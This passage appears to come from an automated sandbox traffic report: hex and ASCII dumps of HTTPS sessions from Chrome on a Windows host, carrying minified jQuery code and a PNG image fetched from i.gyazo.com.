78 74 2f 78 6d 6c 22 29 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6e 3d 74 26 26 74 2e 67 65 74 45 6c 65 
6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 70 61 72 73 65 72 65 72 72 6f 72 22 29 5b 30 5d 2c 74 26 26 21 6e 7c 
7c 53 2e 65 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 58 4d 4c 3a 20 22 2b 28 6e 3f 53 2e 6d 61 70 28 6e 2e 63 68 69 6
c 64 4e 6f 64 65 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 74 65 78 74 43 6f 6e 74 65 6e 74 
7d 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 3a 65 29 29 2c 74 7d 3b 76 61 72 20 43 74 3d 2f 5c 5b 5c 5d 24 2f 2c 45 74 3d 2f 
5c 72 3f 5c 6e 2f 67 2c 53 74 3d 2f 5e 28 3f 3a 73 75 62 6d 69 74 
Data Ascii: w C.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsere
rror")[0],t&&!n||S.error("Invalid XML: "+(n?S.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var Ct=/\
[\]$/,Et=/\r?\n/g,St=/^(?:submit

2022-05-27 06:46:23 UTC 252 IN Data Raw: 28 4f 74 2c 76 2c 74 2c 54 29 2c 68 29 72 65 74 75 72 6e 20 54 3b 66 6f 72 28 69 20 69 6e 28 67 3d 53 2e 65 
76 65 6e 74 26 26 76 2e 67 6c 6f 62 61 6c 29 26 26 30 3d 3d 53 2e 61 63 74 69 76 65 2b 2b 26 26 53 2e 65 76 65 6e 74 
2e 74 72 69 67 67 65 72 28 22 61 6a 61 78 53 74 61 72 74 22 29 2c 76 2e 74 79 70 65 3d 76 2e 74 79 70 65 2e 74 6f 55 
70 70 65 72 43 61 73 65 28 29 2c 76 2e 68 61 73 43 6f 6e 74 65 6e 74 3d 21 4c 74 2e 74 65 73 74 28 76 2e 74 79 70 65 2
9 2c 66 3d 76 2e 75 72 6c 2e 72 65 70 6c 61 63 65 28 6a 74 2c 22 22 29 2c 76 2e 68 61 73 43 6f 6e 74 65 6e 74 3f 76 2e 
64 61 74 61 26 26 76 2e 70 72 6f 63 65 73 73 44 61 74 61 26 26 30 3d 3d 3d 28 76 2e 63 6f 6e 74 65 6e 74 54 79 70 65 
7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 
Data Ascii: (Ot,v,t,T),h)return T;for(i in(g=S.event&&v.global)&&0==S.active++&&S.event.trigger("ajaxStart"),v.type=v.ty
pe.toUpperCase(),v.hasContent=!Lt.test(v.type),f=v.url.replace(jt,""),v.hasContent?v.data&&v.processData&&0===
(v.contentType||"").indexOf("applicat

2022-05-27 06:46:23 UTC 256 IN Data Raw: 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 28 74 68 69 73 29 2e 77 72 61 
70 41 6c 6c 28 6e 3f 74 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 3a 74 29 7d 29 7d 2c 75 6e 77 72 61 70 3a 66 75 6e 63 
74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 72 65 6e 74 28 65 29 2e 6e 6f 74 28 22 62 6f 64 79 2
2 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 28 74 68 69 73 29 2e 72 65 70 6c 61 63 65 57 69 74 68 28 
74 68 69 73 2e 63 68 69 6c 64 4e 6f 64 65 73 29 7d 29 2c 74 68 69 73 7d 7d 29 2c 53 2e 65 78 70 72 2e 70 73 65 75 64 
6f 73 2e 68 69 64 64 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 53 2e 65 78 70 72 2e 70 73 65 
75 64 6f 73 2e 76 69 73 69 62 6c 65 28 65 29 7d 2c 53 2e 65 78 70 72 2e 70 
Data Ascii: n this.each(function(e){S(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not(
"body").each(function(){S(this).replaceWith(this.childNodes)}),this}}),S.expr.pseudos.hidden=function(e){return!S.expr.p
seudos.visible(e)},S.expr.p

2022-05-27 06:46:23 UTC 260 IN Data Raw: 28 65 29 2c 66 3d 7b 7d 3b 22 73 74 61 74 69 63 22 3d 3d 3d 6c 26 26 28 65 2e 73 74 79 6c 65 2e 70 6f 73 
69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 29 2c 73 3d 63 2e 6f 66 66 73 65 74 28 29 2c 6f 3d 53 2e 63 73 73 28 65 
2c 22 74 6f 70 22 29 2c 75 3d 53 2e 63 73 73 28 65 2c 22 6c 65 66 74 22 29 2c 28 22 61 62 73 6f 6c 75 74 65 22 3d 3d 
3d 6c 7c 7c 22 66 69 78 65 64 22 3d 3d 3d 6c 29 26 26 2d 31 3c 28 6f 2b 75 29 2e 69 6e 64 65 78 4f 66 28 22 61 75 74 6f 
22 29 3f 28 61 3d 28 72 3d 63 2e 70 6f 73 69 74 69 6f 6e 28 29 29 2e 74 6f 70 2c 69 3d 72 2e 6c 65 66 74 29 3a 28 61 3d 
70 61 72 73 65 46 6c 6f 61 74 28 6f 29 7c 7c 30 2c 69 3d 70 61 72 73 65 46 6c 6f 61 74 28 75 29 7c 7c 30 29 2c 6d 28 74 
29 26 26 28 74 3d 74 2e 63 61 6c 6c 28 65 2c 6e 2c 53 2e 65 78 
Data Ascii: (e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absol
ute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||
0),m(t)&&(t=t.call(e,n,S.ex

2022-05-27 06:46:23 UTC 264 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

11 192.168.2.3 63318 104.18.36.4 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:23 UTC 175 OUT GET /214d89a26f0ac918a09f216a1b0f97b4.png HTTP/1.1
Host: i.gyazo.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://storageapi.fleek.co/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-27 06:46:23 UTC 264 IN HTTP/1.1 200 OK
Date: Fri, 27 May 2022 06:46:23 GMT
Content-Type: image/png
Content-Length: 372780
Connection: close
CF-Ray: 711ccb0c79229b1c-FRA
Accept-Ranges: bytes
Access-Control-Allow-Origin: https://gyazo.com
Age: 2293385
Cache-Control: public, max-age=31536000
ETag: "214d"
Expires: Sat, 27 May 2023 06:46:23 GMT
Set-Cookie: Gyazo_cfwoker=i; Secure; HttpOnly; SameSite=None; Expires=Tue, 01 Jan 2030 00:00:00 GMT
Vary: Accept-Encoding
Via: 1.1 google
CF-Cache-Status: HIT
Access-Control-Allow-Credentials: true
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-Cache-Level: ZS
Server: cloudflare

2022-05-27 06:46:23 UTC 264 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 e1 00 00 05 46 08 06 00 00 00 13 df e2 0e 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 1d 86 
00 00 1d 86 01 5d a2 13 81 00 00 ff a5 49 44 41 54 78 5e ec 9d 05 60 5c c7 d5 85 af c5 cc 60 59 16 98 99 99 19 92 98 12 
87 99 b9 6d 9a 42 4a 69 53 6e 93 72 93 e6 0f 27 0e 33 38 64 88 99 99 19 84 b6 25 59 cc e8 7f ce d5 3e 7b bd 5e cb 92 2
c cb 82 f3 a5 af d6 d2 db b7 6f 66 ee dc 99 39 73 6f 9b 5e 37 bc 78 4a 08 21 84 10 42 08 21 84 10 d2 2a 38 1c 3d 50 4a 3
c 7c 6d 8f 48 63 b2 f7 81 00 09 f4 6c 63 7b 44 08 21 a4 25 f3 c7 79 5b 64 d9 d6 63 b6 47 84 10 42 08 21 84 10 42 08 69 e
9 50 84 47 08 21 84 10 42 08 21 84 b4 22 4e 84 74 94 72 37 4f db 
Data Ascii: PNGIHDRFsRGBgAMAapHYs]IDATx^`\`YmBJiSnr'38d%Y>{^,of9so^7xJ!B!*8=PJ<|mHclc{D!%y[dcGB!BiPG
!B!"Ntr7O

2022-05-27 06:46:23 UTC 266 IN Data Raw: e1 21 e2 f7 b1 f4 02 39 90 94 2d c9 69 f9 52 51 51 29 01 7e 5e e2 eb ed a6 af 57 54 9e 52 3f b3 b8 b4 c2 f8 a0 
ee d2 21 3a 48 7a 74 08 e1 a4 34 21 84 10 42 48 13 84 22 3c 42 08 21 a4 fe 50 84 d7 32 a0 08 8f 10 42 ce 40 11 1e 69 
74 ee bb 7a 80 dc 3c ad a7 78 b9 bb c9 db 0b 76 cb 17 2b 0e 4a d2 89 5c db ab 2d 97 e8 08 7f b9 72 64 27 b9 65 7a 2f f3 
a8 8d 7c b4 64 9f bc f4 e9 56 5d 84 bb 9c 74 6a 1f 24 37 4c ed 66 7b d4 f8 bc f6 c5 2e 15 b1 35 16 3f bb 6b a8 b8 b4 69 
73 c1 09 32 44 35 ec dd 29 4c e2 db 05 48 58 90 b7 a6 18 f6 f0 70 d5 cf 02 a4 0b 2b 2d ab 94 a2 92 0a 39 9e 59 28 87 93 
b2 e5 c8 b1 5c 7d ae a5 10 1b 1f ae 82 c5 da 92 78 34 dd f6 17 21 84 10 42 c8 a5 a3 39 8b f0 4a 8c af b8 3f 21 4b 36 ec 
3e 21 95 55 55 1a 1d bc 53 fb 40 f1 f1 72 13 0f 37 57 7d 
Data Ascii: !9-iRQQ)~^WTR?!:Hzt4!BH"<B!P2B@itz<xv+J\-rd'ez/|dV]tj$7Lf{.5?kis2D5)LHXp+-9Y(\}x4!B9J?!K
6>!UUS@r7W}

2022-05-27 06:46:23 UTC 267 IN Data Raw: db 77 fc 8d e8 24 48 47 9b 9a 5e a0 f5 12 91 f1 f0 5b 5d da 88 b9 6f 85 8d ae aa be d4 78 fb 78 4a 58 78 80 8a 
ee 2a 2b 4f 49 56 66 be e4 64 17 4a 60 50 75 34 96 ba 88 f0 5c 5d 10 4d cf 4b 3c cd e0 ca c3 c3 4d ca cb 29 c4 23 a4 a1 
19 d8 23 c2 f4 bb de 6a 7b 91 fa 1c 51 57 71 44 84 f8 4a 44 b0 b7 74 eb 10 2a 99 b9 25 92 65 8e a6 08 26 5f 3a 99 7e 08 
62 13 88 b8 d3 b3 8a 2f 5a 84 17 1b 15 20 63 06 b4 d7 88 a7 c7 4e 36 6d 3b 8d 88 a1 61 a6 9c 20 0e 2f 32 fd e4 c1 e4 1c 
db 2b 67 d3 c1 bc de bb 73 98 b8 bb bb a8 a0 fe 44 e6 b9 b6 18 11 69 7b 76 0c 31 7d d7 29 1d 70 40 88 77 39 e8 db 25 
5c 02 fd 3c e5 50 4a 0e 45 78 e4 a2 68 8e 22 3c a4 97 45 fb db 97 90 a5 6d 76 50 f7 08 71 81 d3 58 0b f0 3e 7f 5f 0f 15 
d0 1e cf 28 32 76 dc 47 82 fc b9 4b fc 52 02 ff ff eb 55 
Data Ascii: w$HG^[]oxxJXx*+OIVfdJ`Pu4\]MK<M)##j{QWqDJDt*%e&_:~b/Z cN6m;a /2+gsDi{v1})p@w9%\<PJExh"<E
mvPqX>_(2vGKRU

2022-05-27 06:46:23 UTC 268 IN Data Raw: a6 0d 62 dc 31 b4 57 5b db b3 75 03 be 26 22 30 c3 a6 43 74 7b 39 77 8a c3 f7 3d 94 9c 23 1f 2c dc 27 69 59 
45 3a 26 ef 1c 1b ac e3 29 4c 8e 94 95 57 49 ba 79 be bb e9 6b 9a e3 66 23 dc e3 83 49 d9 92 6f ec 69 17 f3 bb 20 66 ae 
ab 70 92 10 42 08 21 ad 03 46 c2 23 84 10 42 ea cf a5 8c 84 87 f5 b9 bd 47 33 65 c5 96 54 59 b1 35 45 fb 6c a4 71 44 44 
a9 fd 89 59 ba b1 10 19 53 00 e6 57 0f a7 e6 e8 86 f6 c3 c9 d9 d2 b9 7d 90 78 78 5c de 80 30 8e 64 e4 14 cb 47 8b 0f 68 
c4 39 ac 65 fb fb 7a 6a b4 b5 a6 00 ee 5f 73 8c 84 87 f5 61 a4 a6 6d e8 c3 2a 17 46 c2 23 e0 fa 29 dd 34 3a 9b 55 3f 02 
7c ab 83 d2 60 bd c4 be de 9c ef d8 7e 20 43 37 66 0f eb 13 a5 42 b4 96 1e 09 0f 54 98 df 87 0c 59 98 8f 8d 0c f1 91 4e 
ed 03 f5 37 63 8e 1d ba 1c 7b b0 2e d6 2e dc 5f ae 18 19 
Data Ascii: b1W[u&"0Ct{9w=#,'iYE:&)LWIykf#Ioi fpB!F#BG3eTY5ElqDDYSW}xx\0dGh9ezj_sam*F#)4:U?|`~ C7fBT
YN7c{.._

2022-05-27 06:46:23 UTC 270 IN Data Raw: 37 75 3f eb 64 9e 2a cf 1d b9 18 11 1e 40 dd af aa aa 12 2f 2f 0f 33 18 72 d5 4e 15 11 f1 9a 02 d7 4c ec a2 42 
26 2c 28 d7 e5 80 03 d4 d8 6d 99 10 47 6a 12 e1 41 c0 31 bc 4f 3b e3 b0 bb c8 4a e3 4b 59 9b 18 e0 c8 8e ea 1f ad 51 
9a 20 80 0b 33 8f 21 f4 82 b0 02 fe 50 61 51 99 46 eb b5 80 3d 45 34 bd 11 c6 f9 c7 84 09 a2 20 41 94 85 e8 6d e8 43 82 
02 3c 55 10 06 a1 3a c4 6e 78 7d a4 f1 e1 10 51 16 a2 2f 1c 9d cc b9 21 ca c3 e0 01 11 dc ec ed f0 c8 be d1 3a 20 c6 80 
03 1b 14 2c 26 0e 89 53 41 18 76 bc 60 a2 a4 7b 7c 88 46 b8 8b 6b 17 28 dd 30 99 12 e5 af e9 e1 d1 b7 c1 c6 43 fc 35 
a0 7b a4 84 05 79 a9 53 ee 61 6c 4d 84 f1 1d 21 16 83 38 24 f1 44 5e 83 fa 8f 0d 05 ec 21 ae 17 76 05 e3 05 ec fc 29 29 
ad 2e 2b f4 df b8 8f 28 cb 9d 07 ab 37 25 58 61 b6 8f 67 16 
Data Ascii: 7u?d*@//3rNLB&,(mGjA1O;JKYQ 3!PaQF=E4 AmC<U:nx}Q/!: ,&SAv`{|Fk(0C5{ySalM!8$D^!v)).+(7%Xag

2022-05-27 06:46:23 UTC 271 IN Data Raw: fb 70 b9 c8 c9 2f 53 bb 01 7f 15 7e 6b 5d c4 76 e8 93 8e 68 3f 93 ac 36 04 36 0c 62 6b 1f 4f 77 9d 44 b1 07 d6 
07 f7 0e fd ca c6 3d 27 64 cb de 34 d9 63 fa 26 d8 10 8c 5f 21 ec 35 e6 47 81 4d db 9b 90 ad fd 10 76 45 22 ad 0c d2 cc 
c0 c6 c1 cf 44 bf 81 09 50 74 89 d9 66 ac 8c fe 6c fd ee e3 7a 0d 88 48 0e ff cd cf 7c 3f 7e 13 ec 9e bd 08 0f d7 bc e3 c0 
49 9d c8 c1 f9 93 8c 9d c3 b9 70 bd cd 55 68 48 08 21 84 90 86 81 22 3c 42 08 21 a4 fe 5c 2a 11 1e c6 fa c8 40 86 39 0b 
6b 4e d3 1e 44 91 b3 04 78 e4 e2 69 ae 22 bc 2d fb d2 35 22 a2 33 10 50 69 dc a0 f6 aa ff c0 3c 24 e6 b5 21 ea 84 1e e5 
d8 c9 42 29 ab 21 a8 0b 32 46 50 84 47 2c 2c 11 1e e6 22 a1 6f aa 2d 43 7a b5 6d f5 22 3c 00 fb 82 75 46 ac f5 21 12 68 
5c db 40 db bf 01 ba 46 e6 e6 d6 46 56 6f 3f 2e db 
Data Ascii: p/S~k]vh?66bkOwD='d4c&_!5GMvE"DPtflzH|?~IpUhH!"<B!\*@9kNDxi"-5"3Pi<$!B)!2FPG,,"o-Czm"<uF
!h\@FFVo?.

2022-05-27 06:46:23 UTC 272 IN Data Raw: a2 c3 43 e1 60 e2 1e 85 85 85 cc 88 50 1f 15 fc 7d b2 f4 90 ec 30 af 63 b1 00 e7 80 08 ec 9a f1 9d 35 f4 21 16 
b2 3f 5d 76 48 3f 83 c5 4c 44 d5 42 a4 17 44 7d 81 18 0e 95 02 11 ab 70 6e 2c 7a e2 fa b0 68 01 f1 1f 16 c2 b1 88 e2 98 
82 cd 1e 44 b6 2b af ac 92 d5 db 8f c9 ba 9d 27 34 5a c0 f6 83 27 55 2c 17 17 55 2d d2 41 c7 8e 54 60 ed c2 aa 73 d5 e7 
15 95 69 74 33 fb f4 91 88 62 83 68 28 09 a9 b9 ba c0 01 d5 ac 46 b1 31 1d 09 22 f4 ed 3b 9a a5 4e c2 8e 43 19 9a da 0c 
8b ba dd 3b 84 a8 68 0f 8b 15 f5 11 2a dd 37 a7 bf fe be ff fb 64 cb 59 e5 62 81 74 b5 f5 89 64 81 32 38 72 2c c7 34 ac 04 
db 33 75 63 d2 90 78 fd 5d 8b 37 24 e8 42 f1 f9 08 32 9d e8 a0 1e 6d 75 11 7c e9 e6 44 73 ff 53 65 f2 b0 0e 1a 4d e7 ef 6f 
af 37 8d 3d 41 0e a5 64 69 44 be 59 63 bb aa 33 
Data Ascii: C`P}0c5!?]vH?LDBD}pn,zhD+'4Z'U,U-AT`sit3bh(F1";NC;h*7dYbtd28r,43ucx]7$B2mu|DsSeMo7=AdiDYc3

Timestamp
kBytes
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2022-05-27 06:46:23 UTC 274 IN Data Raw: b3 ea e7 ab df 83 e7 2f 74 6e 00 81 00 ae 05 22 ca da bc bf b1 71 33 4e 05 16 a2 ea 7b 34 e5 f4 4c b0 13 68 
37 ce ae db fe f0 f6 ac fd 22 af bf af bb 3a b2 68 e7 8e 3b 51 6a 0b d2 3f 2f df 9c 22 7b 13 32 d5 de 4d 1e 1a ab 62 5d 38 
c7 93 87 c6 68 34 4b d4 bd 05 6b 13 d4 fe 5c 2a e1 26 d2 d1 82 32 d8 8a 1a ea 26 a2 d8 e1 b8 58 e0 60 41 7c a7 22 c9 
7a d8 9a 4b c9 f8 81 ed 55 d0 7d be be 05 0b b1 53 87 c5 d5 69 31 9d 90 c6 e2 df ef 6e 91 67 de dc 24 2f 7c b2 43 05 f6 
de de 6e 3a 40 82 7d b3 c7 8a 52 36 7b 5c 27 79 e2 8e 21 e7 1c bd 3a 55 4f 3c 58 ed 00 ff 78 78 b8 6a ff 77 28 b5 e6 b4 
e5 f8 04 da 36 44 61 77 cc ec 75 ce b9 af 99 d8 45 45 db 75 99 00 40 d4 a2 42 33 40 76 26 00 86 5d c4 d3 10 f5 d5 e5 9c 
f5 01 03 a8 9f dc 7e f6 ef b1 8e 3e 5d ce f8 7f f5 05 bf 
Data Ascii: /tn"q3N{4Lh7":h;Qj?/"{2Mb]8h4Kk\*&2&X`A|"zKU}Si1ng$/|Cn:@}R6{\'y!:UO<Xxxjw(6DawuEEu@B3@v&]~>]

2022-05-27 06:46:23 UTC 275 IN Data Raw: cb 3c db f4 61 f0 d5 21 6a 76 bc 8f 6a fa 1c 9e c3 f5 44 85 fb e9 75 db 83 a8 86 f0 fb 9b f2 86 23 42 08 21 84 
10 42 08 21 a4 35 83 6c 53 0f ce ed a7 82 37 cc a7 62 fd 7c de 97 7b 54 58 85 00 32 35 cd 71 5a 20 fb c8 ee a3 99 1a e5 
0e 1b 23 7b 75 0a d3 b9 00 cc 87 60 1d 1d 99 b4 86 f5 6a 7b de b9 1a cc cb 77 88 0e 92 be 5d 22 74 1e 01 9f c3 e7 11 
78 03 9b 0b 6b ca 92 57 57 10 bc 63 44 df 68 e9 68 be 0f 73 c2 d6 77 21 db 1b d6 ad 30 57 dd 94 d6 a1 9b 2a d8 dc f9 d9 
d2 c3 f2 ce b7 fb ab b3 c1 d8 d7 13 f3 67 6e 7e 89 7c b0 f8 80 be 9e 8d 74 c7 ad f0 96 22 ad b2 b3 f5 f4 fa 1e a8 bb 84 9c 
0f d8 57 cc 39 4f 1b 11 57 9d f9 c9 b4 d1 af 56 1d 95 b7 4d 1b 44 40 31 cc df ce 1c d3 51 33 40 35 15 7d 41 b3 52 0a 60 
c7 3c 52 c7 62 41 62 e2 90 18 79 60 6e 5f 79 f4 fa fe 
Data Ascii: <a!jvjDu#B!B!5lS7b|{TX25qZ #{u`j{w]"txkWWcDhhsw!0W*gn~|t"W9OWVMD@1Q3@5}AR`<RbAby`n_y

2022-05-27 06:46:23 UTC 276 IN Data Raw: 30 fe 06 7c 34 44 db b5 fc 16 0b 38 ba d1 11 7e 3a 01 81 41 2b 7c b4 d0 20 6f fd 4e c7 49 09 44 78 6b 1f e9 af 
51 de 6a 0b 42 c2 23 9a 12 1c 70 fb c1 47 b8 b9 4e 44 af f4 36 e7 84 c0 c5 7e 27 a1 f6 e3 a6 8d c2 9f 74 e6 13 36 55 e0 
7f 21 ba 2a 76 46 b6 c5 80 cb f4 35 98 a0 49 77 88 b4 87 d7 d3 4c 1f 04 0f 38 26 c2 5f a3 41 a5 65 15 a9 6d b2 48 3e 91 
af 1b 36 b0 13 b4 b3 f1 31 51 4e f6 e0 fe e9 40 c5 cb 4d 77 87 d6 36 5d 26 d2 db e2 3a b1 23 34 c6 0c 08 e1 07 5b c0 4e 
62 23 09 76 7b 36 9f bb 4e 48 c3 82 f1 1e da df 8a ad 29 3a fe 41 84 73 4c 02 77 6a 1f a8 02 da 15 5b 52 65 fe 8a c3 1a 
e9 ed 6b 44 2d dd 97 66 6c 9b 8b 0c ea 1e 29 d3 47 74 90 fe dd c2 75 5c d7 d4 81 3d c6 b5 0e eb 15 a5 e3 da bd 66 8c 
09 d7 08 26 01 1b 1a 30 46 1f d5 2f 5a 85 7a ce 8e c9 c3 
Data Ascii: 0|4D8~:A+| oNIDxkQjB#pGND6~'t6U!*vF5IwL8&_AemH>61QN@Mw6]&:#4[Nb#v{6NH):AsLwj[RekD-fl)Gtu
\=f&0F/Zz

2022-05-27 06:46:23 UTC 278 IN Data Raw: 4c ba 9b 6b 85 58 cf c3 41 d4 87 c8 5e 58 a8 76 26 f6 ab 2d ff 7d 7f 93 64 e4 14 c9 9c 71 5d 35 ba 9c 33 56 6c 
4d 96 67 de 5c 2f bf 7d 69 a5 cc 5f 79 d0 94 65 86 3a 34 f8 1c 04 73 ef 2e d8 a3 af bd f0 c9 56 d9 79 28 c3 f6 a9 fa 83 fb 
b0 64 53 82 3c fd e6 3a d9 9f 90 a9 79 f2 ef 9e d9 4f 1e be 76 90 dc 75 55 5f 19 d1 27 5a d6 ed 4c 95 a7 e7 ad 93 f5 bb 8f 
9d 15 49 a7 21 18 6e ce 8f fb 81 85 f1 e7 3f da a2 0e 1c 69 5e 60 31 11 c2 93 09 43 62 34 62 25 da 2d 84 72 07 93 10 4d 
aa 61 cb 13 62 50 d4 59 ec ba 69 2c 90 66 12 78 1b bb d5 18 20 2c 37 04 7f e8 3c 1b fa fe 35 04 b0 f7 7b 8d 2d 47 8a 49 
d8 75 94 07 22 13 6e 33 1d bb bd 38 9a 90 e6 c2 81 c4 6c 15 4d 61 17 20 c4 73 50 c9 23 25 22 1c 59 37 17 17 f5 6d 46 f4 
8d d2 03 fe 0c 04 c1 1b f7 a4 d9 3e 5d 3d b9 80 
Data Ascii: LkXA^Xv&-}dq]53VlMg\/}i_ye:4s.Vy(dS<:yOvuU_'ZLI!n?i^`1Cb4b%-rMabPYi,fx ,7<5{-GIu"n38lMa 
sP#%"Y7mF>]=

2022-05-27 06:46:23 UTC 279 IN Data Raw: d4 41 dd 87 e8 15 62 65 44 b1 1c 33 a0 bd 19 9b 05 34 bb a8 76 ce 40 e4 e7 d5 db 8e a9 fd c0 2e f2 50 5b d4 
79 8c 4b 31 7e 82 90 6e 64 bf 76 3a 8e b0 7e 2f ec ec d1 63 b9 f2 d9 d2 83 6a 7b 60 13 30 56 75 33 f6 02 e3 01 88 8b 61 
97 66 8d eb ac e3 e6 22 63 37 30 2e 46 24 7c 9c 3f ae 5d b5 9f 88 49 6f bc 0f e7 45 5f 33 75 58 bc 84 87 78 6b 1f b5 79 
4f 9a 1c 4e cd 91 e1 7d da e9 a6 3c 7b 60 b5 70 7d 48 51 90 70 3c 57 c7 7f 48 9b 0e db 96 96 59 64 c6 e1 25 3a 26 ee 
1e 1f a2 9d 1b d2 02 63 22 fd ca d1 1d cd 98 dc ff 9c 8d 7b 98 13 d8 6e ee 03 d2 e8 42 44 69 d9 3d 42 08 21 84 b4 2e fe 
fc da fa 66 31 9e 24 84 10 42 9a 22 0f 5e db ef ac 00 34 0d 05 32 ea 9d 32 ff 61 9d 1f 3a 03 7b 76 1e 3a 29 4b 37 25 eb 
bc cd dc 49 5d 74 4c 0f 30 e7 f9 bf 0f b7 69 34 7e a4 7f 04 
Data Ascii: AbeD34v@.P[yK1~ndv:~/cj{`0Vu3af"c70.F$|?]IoE_3uXxkyON}<{`p}HQp<WHYd%:&c"{nBDi=B!.f1$B"^422a:
{v:)K7%I]tL0i4~

2022-05-27 06:46:23 UTC 280 IN Data Raw: 51 b2 77 e7 30 dd c8 ed c8 ba 9d c7 75 de 64 84 dd 66 c9 86 04 d7 84 4c 61 cd 85 01 dd 23 4c b9 42 af e1 7c 
6d db f1 b0 ea 08 ee b9 b3 d7 1d 0f 0b f8 89 35 cd a5 93 d6 01 da 25 44 b3 1a 20 c2 49 7d 39 df 61 d5 3b 44 81 c3 da 4a 
6b 02 ed 73 db 81 0c 15 e0 c1 5e d7 16 b4 37 d8 eb a4 b4 7c b5 ab fb 13 b3 74 f3 77 63 af e7 37 8b 48 78 a8 60 98 cf c6 
85 d6 e6 06 a1 3a b6 31 1f c0 bf 78 bf f5 09 d4 53 9c ab ba ba 56 9f cf 8a 90 02 b1 d9 f9 ce af 9f c1 67 6d 8f f1 16 fb c8 2a 
78 5e 1b 81 dd 7b f4 55 f3 7f ce c4 58 d6 f9 f4 ef ea 7f 14 bc 13 6f 77 16 b5 a5 fa f4 67 3e 67 bd 17 9c 7e ce ee b7 5a e8 
e7 6c 6f 70 f6 ba 3d d6 77 d8 fe a7 e8 fb cd ff 35 94 f8 0d 0e c0 3f 7e 38 59 26 0e 8e 97 8c 9c 42 f9 ed 4b ab 8c c3 93 64 
7b b5 e5 33 a2 4f 7b f9 e5 dd 23 24 36 32 50 
Data Ascii: Qw0udfLa#LB|m5%D I}9a;DJks^7|twc7Hx`:1xSVgm*x^{UXowg>g~Zlop=w5?~8Y&BKd{3O{#$62P

2022-05-27 06:46:23 UTC 282 IN Data Raw: fb c4 59 a2 b8 d6 2e c2 43 44 46 38 ce dd e3 43 24 df 94 ed ca 6d a9 e6 3e e5 48 45 33 10 86 36 24 10 cc f9 
07 7a 8b bf bf b7 d6 e3 e2 a2 32 c9 cf 2f 92 b2 d2 ba 47 ad 43 1e 77 4f 2f 77 3d 97 97 b7 bb 9e 2f 3f af 58 53 dd 42 e4 47 
08 21 84 10 52 13 4d 51 84 07 7f 26 f1 44 9e a4 67 15 49 af 4e 61 e2 67 7c 1c 42 08 21 84 10 d2 f2 a1 08 8f 10 42 08 a9 
3f cd 41 84 77 2c a3 40 be 58 7e 58 22 43 7d 24 d8 5c 2b 32 a3 61 1e 28 3b bf 54 92 d3 f2 f5 f1 a0 1e 91 d2 b7 73 b8 78 
7b 9d 11 e9 b5 26 28 c2 23 84 90 33 50 84 47 9a 14 88 26 17 e8 e7 a9 e1 7a 3d dc 5c f5 b1 9b 39 5c 9a 41 4a 5a 38 5c 
10 66 c1 d1 28 ab a8 54 c1 56 6e 61 a9 a6 d8 6c ca 8d 0c bb 33 ba c4 06 cb 98 fe d1 2a 38 4b 3c 9e 27 6b 77 1c 53 c7 11 
b4 66 11 5e 80 a9 8b 53 87 c7 49 7c bb 00 c9 ce 2b 91 c5 
Data Ascii: Y.CDF8C$m>HE36$z2/GCwO/w=/?XSBG!RMQ&DgINag|B!B?Aw,@X~X"C}$\+2a(;Tsx{&(#3PG&z=\
9\AJZ8\f(TVnal3*8K<'kwSf^SI|+

2022-05-27 06:46:23 UTC 283 IN Data Raw: 42 08 21 84 10 42 08 21 f5 80 e9 68 09 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 
90 7a 42 11 1e 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 52 4f 28 c2 23 84 10 42 08 21 84 
10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 ea 49 9b fc bc dc 53 b6 bf 09 21 84 10 42 08 21 84 10 42 08 21 84 1
0 42 08 21 84 10 42 c8 65 a2 aa aa 4a 2a 2a 2a a4 aa b2 52 aa 4e 41 ce 41 49 47 6b c1 a5 8d 8b b8 b8 b8 88 9b bb bb fe 
